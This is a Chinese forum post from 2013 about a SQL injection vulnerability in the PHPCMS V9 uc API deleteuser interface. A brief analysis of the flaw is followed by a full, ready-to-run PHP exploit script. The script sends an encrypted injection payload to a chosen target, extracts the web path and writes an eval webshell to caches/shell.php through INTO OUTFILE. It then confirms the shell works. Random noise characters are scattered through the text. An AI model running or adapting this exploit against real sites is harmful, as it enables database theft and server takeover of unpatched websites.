找回密码
 立即注册
查看: 2326|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
/ H2 M* ~  ~  N. [% B0 h1 K$ i2 i7 M  z8 q
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
' P! f5 D/ `. M! t; h; R
0 S/ ^) P+ |- q9 |9 u% @1 \7 V! P漏洞分析:2 e* B; E  k. ^9 f. C! I. ?1 V
1.未启用ucenter服务的情况下uc_key为空! m7 o3 z7 G( M- }$ p& u
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
% L  b% S) \8 Q; ]2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
/ h% g( t" {4 H. C/ v    public function deleteuser($get,$post) {: P. P- }6 K' D, r1 D- M
        pc_base::load_app_func('global', 'admin');% B% c/ D0 e+ c& G8 j$ V+ Q/ N
        pc_base::load_app_class('messagequeue', 'admin' , 0);) Q% X, V1 \* Z$ I2 J3 l0 ]- L9 a4 ]
        $ids = new_stripslashes($get['ids']);; y# z6 X0 P  }3 U. R* ?
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");# J- x' X1 E5 H
SQL语句为, `2 m/ Z  I7 c& x
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)6 u. z, w. A: [8 X- M7 ^" [, v/ D
4 B% s# J5 ]$ l, c/ u: v4 `
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell' M, f/ [# \$ g
<?php: U% i6 S. L$ C7 j5 f1 {3 `6 q
print_r('
% J* c( c& j# h. K* o5 v1 c' F---------------------------------------------------------------------------* M4 d2 [8 ^6 ~+ I) R+ f$ X& W
PHPcms (v9 or Old Version) uc api sql injection 0day
; h7 c6 R& I0 D% C) t- I4 ~: @: tby rayh4c#80sec.com
6 Y' {6 F. P' |1 g" t# o. d---------------------------------------------------------------------------
% L0 v, _& l4 `  S( B8 k5 n');( B' r; Z7 K' t- H

9 j: c& {# C- g0 z, U( h3 _2 Hif ($argc<3) {
2 J% ^: i$ c3 p) k6 o) @7 i    print_r('
. `3 u; a5 F) q% N) [( [! @---------------------------------------------------------------------------5 e0 c3 y5 `$ F2 p- M9 j6 \
Usage: php '.$argv[0].' host path OPTIONS6 X  M4 a* D7 j: }
host:      target server (ip/hostname)+ w7 z+ @4 I9 R- P" [/ m
path:      path to phpcms( X6 |# ^! ~6 j/ g5 t% H6 I3 c
Options:4 Y/ m: ^, v3 ~+ M" [1 s
-p[port]:    specify a port other than 80# q  c( @2 @) j" S
-P[ip:port]: specify a proxy
) j; P( n$ f' s! m0 L+ p  z0 wExample:& k/ \: e( _. P; M% ?
php '.$argv[0].' localhost /4 G8 h# h) ?2 P
php '.$argv[0].' localhost /phpcms/ -p81
2 V: s: Z# z1 s1 ~" Wphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80' `8 ^' s8 S" @! z6 b# T
---------------------------------------------------------------------------
/ P" t( o0 i+ n) x8 l, R9 Z');# C& {! W8 q* ]
    die;
2 F6 G2 g+ ?$ c: S/ ?0 q}9 a/ P7 l- a, U! Q0 y, i: C
* n& j- ?" o8 ^3 t$ C
error_reporting(7);9 a5 B8 O; l/ u; I) w7 S
ini_set("max_execution_time",0);
# \( t2 S* y1 j- k1 b- r/ E8 s1 fini_set("default_socket_timeout",5);! }+ V4 C5 c! R( F/ T! w
& c3 ~8 i8 D, N' e' E, D
function quick_dump($string)
" e  b1 ~6 v& V+ ~1 \& B, G, m7 s6 e7 D8 f{
% _1 H" T% R' }3 K/ A6 R) X0 _  $result='';$exa='';$cont=0;
2 R5 p! R2 J$ {  for ($i=0; $i<=strlen($string)-1; $i++)
# a* x7 E3 H+ {' f) j  {% ^5 \! L5 Z" x' {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))+ v! }; ^' {' P- Y) _: m0 x
   {$result.="  .";}
7 q% I8 }; k- S0 V1 x   else
2 G! ^  f3 Y& T1 r' I* t   {$result.="  ".$string[$i];}* }9 E+ }" i) p: P# ^8 g: T
   if (strlen(dechex(ord($string[$i])))==2)
  Y9 G, S  n( @0 ~: X8 b; J   {$exa.=" ".dechex(ord($string[$i]));}; {# Q$ o: ~+ M
   else
+ X/ A( T9 P" L5 K$ x0 T# d( ^   {$exa.=" 0".dechex(ord($string[$i]));}
, W. J+ o2 V: ?: d   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
% q' D- v9 ]4 n: {! c9 d1 }  }
. C  f! U$ E- R' ? return $exa."\r\n".$result;
. {: T3 v2 G/ k& J/ n/ r; \& P. m}
* @# A9 k& x* p* x$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';2 ]7 f1 @5 n" K3 L

2 ~$ @* p3 ]( G! X. j  J8 a, \function send($packet)* M; \/ H: D: M1 v5 n
{1 r! R* H3 f, q5 Q
  global $proxy, $host, $port, $html, $proxy_regex;6 N' I! ^: I5 ^* m
  if ($proxy=='') {* O: N: \( k) V( Z* O# g: e" |. G
    $ock=fsockopen(gethostbyname($host),$port);* Q' c6 Y% @" S) s# ^& P
    if (!$ock) {
4 {4 t( D; U% P6 _1 g      echo 'No response from '.$host.':'.$port; die;
, }+ W; P* J( w    }7 {7 ?, \6 {/ }) _/ p
  }
* z: g7 T+ e) m+ H- H  else {& D' C! M/ \5 Z
        $c = preg_match($proxy_regex,$proxy);
/ A- C* f$ H9 r4 g$ X    if (!$c) {0 Q1 d3 f- O8 N6 Y4 j
      echo 'Not a valid proxy...';die;
; S+ e, S5 M% S  Z: a) p    }
. v, D3 E( u4 D: c4 P# B, Q4 _    $parts=explode(':',$proxy);
. i8 v8 [3 Z3 C& R    $parts[1]=(int)$parts[1];
7 m& S% H! p+ T& c+ f. @    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
8 I8 D6 h9 |: m5 q5 v    $ock=fsockopen($parts[0],$parts[1]);' n1 Z& V3 Q8 a2 D
    if (!$ock) {
6 _9 e# P2 g4 `, Q! D: E      echo 'No response from proxy...';die;$ x& u, [0 N. D$ o+ `
        }
! S9 b; n. m2 F6 L0 p; v: {: I/ M  }
3 l( R$ F) {% u* R- y" Q  fputs($ock,$packet);$ v/ `4 G/ q. I/ T' `" }
  if ($proxy=='') {! R2 ]2 ~( u: h9 A* m
    $html='';' s6 X1 d+ Y3 u
    while (!feof($ock)) {
- @9 ?2 f. ^* Q2 L" ]0 K      $html.=fgets($ock);
* d' e' k6 e3 u/ D' r2 ]' r6 |% z    }
* l" p, c3 c9 f$ q6 b5 E  }" j# V# J# r; p' p/ k7 J6 c
  else {
0 q: o4 p3 l; Q$ U    $html='';& O4 y1 G1 {6 z; M% R
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {3 o1 m6 h; B9 u$ a8 L
      $html.=fread($ock,1);
- B- b# ~% R" M5 C* u- _    }
! i6 K: v  l4 O  }
2 p& n! v( f* r' ^' i; O  fclose($ock);
# O* I/ _' g! k6 c}# f5 A3 y5 e% ^

$ Z& U; r0 c, w8 K$host=$argv[1];* o, `' s8 S3 Z+ F
$path=$argv[2];
6 O, b3 h7 t$ M% c& x9 l% Z1 T$port=80;9 I  x& `5 J4 L: H% S3 I, g
$proxy="";
/ w: ?7 Y5 c. }( j# ifor ($i=3; $i<$argc; $i++){
% }8 q- n( D9 ?) v7 Q# P: S  |$temp=$argv[$i][0].$argv[$i][1];: l/ \% ]4 O& d
if ($temp=="-p")
4 J4 k( Y( x/ y- c" K/ ^{+ ]; g6 j! w; T# V0 @, O! [
  $port=(int)str_replace("-p","",$argv[$i]);9 B9 Q* J8 l9 d: J' e
}
  o& ?+ t* ^$ [0 W; \6 s. Xif ($temp=="-P")
7 s/ @( R6 k# H4 Q1 x' h{
& j5 U  w# m: T! `  $proxy=str_replace("-P","",$argv[$i]);; ^8 \  N+ e* g8 V
}
6 D, l: V8 F. h2 F7 Z}( p, T4 g) ^- L% z
$ @% P8 r; q/ V7 `) Q, o1 d
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}, r. O% B4 @7 M+ w
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}( L; v2 g& {( h' Q* Z. q( Z5 [
) U6 `7 r  x  {/ f) f+ Q! Q) R
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {* c7 N. n, x: D

: S% w( t, E. N& q5 C# j7 ~* e    $ckey_length = 4;
. d% H% G& G1 G' U$ {: I' W0 ^, F3 t4 \# X
    $key = md5($key ? $key : '');' b/ M4 o" c2 j" V* M
    $keya = md5(substr($key, 0, 16));9 x. `' P/ v7 x' }3 @
    $keyb = md5(substr($key, 16, 16));  [% N  v0 U$ O) M# B
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
, r3 t3 A1 |3 _% k9 a& E2 C0 K3 J. c( J% f% o$ \0 F
    $cryptkey = $keya.md5($keya.$keyc);) E' H* R/ G. u2 q. L
    $key_length = strlen($cryptkey);
% a* z" z. Q( r" s2 _* [& W* t: U! W: q& `6 T, y3 D
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
3 `3 D9 ^/ ^! A& W" n/ Q; t$ F    $string_length = strlen($string);
9 Y/ w! ?5 q1 B* t6 Z# P. U( X) a1 a& o) Y5 }! z0 c- K" M8 L1 M2 m
    $result = '';
3 m4 m, D" }# Z    $box = range(0, 255);
+ c  m4 L: _3 W1 a9 P  A3 T8 s' c4 o, R. E
    $rndkey = array();
: W4 h! X9 l& D8 e! z    for($i = 0; $i <= 255; $i++) {& e% l- M" m  M2 t6 m# c, _" y
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
- [: ^1 R- U$ d, J    }/ Z) X2 q1 o7 M& Q2 m- Y
0 D5 s4 q$ b& X! I( G
    for($j = $i = 0; $i < 256; $i++) {( Q. z. D- @6 f0 E+ a* @
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
4 C( h# _8 W4 H4 p; V' `# b        $tmp = $box[$i];
. n* \8 ~  ^  i( v: ]        $box[$i] = $box[$j];( a; e1 z7 Q% j
        $box[$j] = $tmp;
6 M% e9 c: w7 |4 F6 @) N9 U    }5 ^& {2 Q; _9 ]6 k8 C
" @, Z( J5 p# w
    for($a = $j = $i = 0; $i < $string_length; $i++) {0 k. z/ t8 c; C9 [
        $a = ($a + 1) % 256;
0 ?8 P2 `; `, p# z. E9 U        $j = ($j + $box[$a]) % 256;0 f8 c3 ?' u4 V4 g
        $tmp = $box[$a];6 R5 F+ T* A4 C1 P+ \5 P3 q
        $box[$a] = $box[$j];7 ~9 M0 r" g1 \: Z: T7 F" V$ [
        $box[$j] = $tmp;  S8 Z) n5 |, k1 n- t4 o& `1 l
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
7 y# |1 f" K! Q0 Q' m/ `6 t; \# s    }
) [5 c1 A0 p) I0 L6 P( i. X+ h: k  h0 e$ G# E3 v
    if($operation == 'DECODE') {' ^% V6 C- C4 A6 H/ r3 e
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
! J8 U- K7 t6 k+ ^* d! ^/ i) x            return substr($result, 26);
" [$ e1 {  J( P2 S        } else {
9 s, K% Y7 J% g& U            return '';
8 J" r" \- r) b$ i- r( ?2 \' X1 o        }
, N3 c) k! H4 W; q" Q; i/ d2 H    } else {
1 k+ A8 d0 g  ?! E        return $keyc.str_replace('=', '', base64_encode($result));
! ^2 k) ~! I. l) z4 e8 d: E    }$ k) H% {! r. s+ @
+ q; Z* M. g* L& L6 E- Q( D8 S
}% E6 |1 X* o( A+ U8 _4 ?, n

; d8 A" g# J& @! {+ |7 K  c4 V$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
+ _. Q( v& X4 \; {! H" z$SQL = urlencode(authcode($SQL, "ENCODE", ""));
) [. G+ E' Q% H% ]  k/ ^0 {echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
1 [3 l0 p0 N5 u" y# R# H$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";" s4 Q9 W" Y$ ]
$packet.="User-Agent: Mozilla/5.0\r\n";0 b( p" X, K, K9 O% C+ n* g
$packet.="Host: ".$host."\r\n";
' q& |* d4 ^- U$packet.="Connection: Close\r\n\r\n";; `% Z. M! F  h! x( j# F5 n8 j
send($packet);' \4 p9 L/ `, I9 Z7 W+ T( t7 D
if(strpos($html,"MySQL Errno") > 0){6 e+ S/ s- N2 _* v! b8 p; Q
echo "[2] 发现存在SQL注入漏洞"."\n";
  @* G8 \5 I0 l; k7 r, J1 \echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
2 T" ~7 j% T: d, g2 t4 D6 Y  Y& [$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";: ^, E4 U3 u7 H! n* r9 J5 x
$packet.="User-Agent: Mozilla/5.0\r\n";
- n7 {* v% S+ e1 D7 x& |; `: v5 Q$packet.="Host: ".$host."\r\n";% {/ V1 f. s; Y; [5 ~* F
$packet.="Connection: Close\r\n\r\n";
4 [6 P3 R& _5 y: H- S$ v" l, r# ~send($packet);
6 D7 T! n+ }! N0 @0 A- c) j( Tpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);& n2 U, H9 B9 ~4 m
//print_r($matches);
& ^: r# b4 _' b, x/ f* dif(!empty($matches)){4 U5 G( C! F; n
echo "[4] 得到web路径 " . $matches[0]."\n";' k8 u  i6 G# a/ q' I( A
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";) V0 N, H) Y# ^* {7 _9 i
$SQL = "time=999999999999999999999999&ids=1)";, Y8 H) `4 b; q4 t: W6 K8 O+ v( e
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";" f; B4 t+ m% b: O  A
$SQL.="&action=deleteuser";
2 e7 o* G' o; L; g+ C$SQL = urlencode(authcode($SQL, "ENCODE", ""));) g4 j3 A% R8 N) o/ [
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 X8 `* @7 d1 F% o$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
0 _0 }: Q0 `* L* r! q$packet.="User-Agent: Mozilla/5.0\r\n";
- U( {6 l3 b4 S) I4 C$packet.="Host: ".$host."\r\n";! {6 }  p0 O+ U. [/ z
$packet.="Connection: Close\r\n\r\n";
! ^$ Q; T5 [1 e( ]% p) i8 j/ ?send($packet);7 O- {! M! i; n- u- q7 V! D0 _
if(strpos($html,"Access denied") > 0){5 ^5 F/ U  S6 j( I$ ]  Z
echo "[-] MYSQL权限过低 禁止写入文件 ";, o0 \* r9 ^1 ^2 b9 s+ u; [! h
die;- I+ @; |9 A2 T5 t! s0 f
}. q0 E7 I* t! R
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";5 D  e7 K' D6 M/ H" A) j& y
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";3 ^' n: z+ q8 j1 N4 g" x1 y# x
$packet.="User-Agent: Mozilla/5.0\r\n";
, W9 _* D+ R+ a1 i& P8 C$packet.="Host: ".$host."\r\n";* O* j# u& {  B
$packet.="Connection: Close\r\n\r\n";7 y/ p8 l  t7 L6 a) h# O6 `
send($packet);3 E0 q4 O, A/ ~7 M4 [
if(strpos($html,"<title>phpinfo()</title>") > 0){- ]6 q8 ~& W0 h3 q4 K# e; q
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
9 d# b  S1 G1 _  H}" k( h  x+ F/ C- l1 l
}else{) e, S3 N& p; n9 J9 S2 x
echo "[-]未取到web路径 ";
6 R/ Z  o" w* m7 s4 x6 R" F}/ N' u8 N7 z" X3 C: x! C5 }' \
}else{/ o; J; V9 o# ]. R; s1 m
echo "[*]不存在SQL注入漏洞"."\n";% C9 B+ E; S# O1 x: @1 l& P
}. K" ?2 u* u* q% c. |* p
0 [+ i7 u3 B8 I& \' ]$ d& p
?>
( c6 ?& n/ g% Z3 N; o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表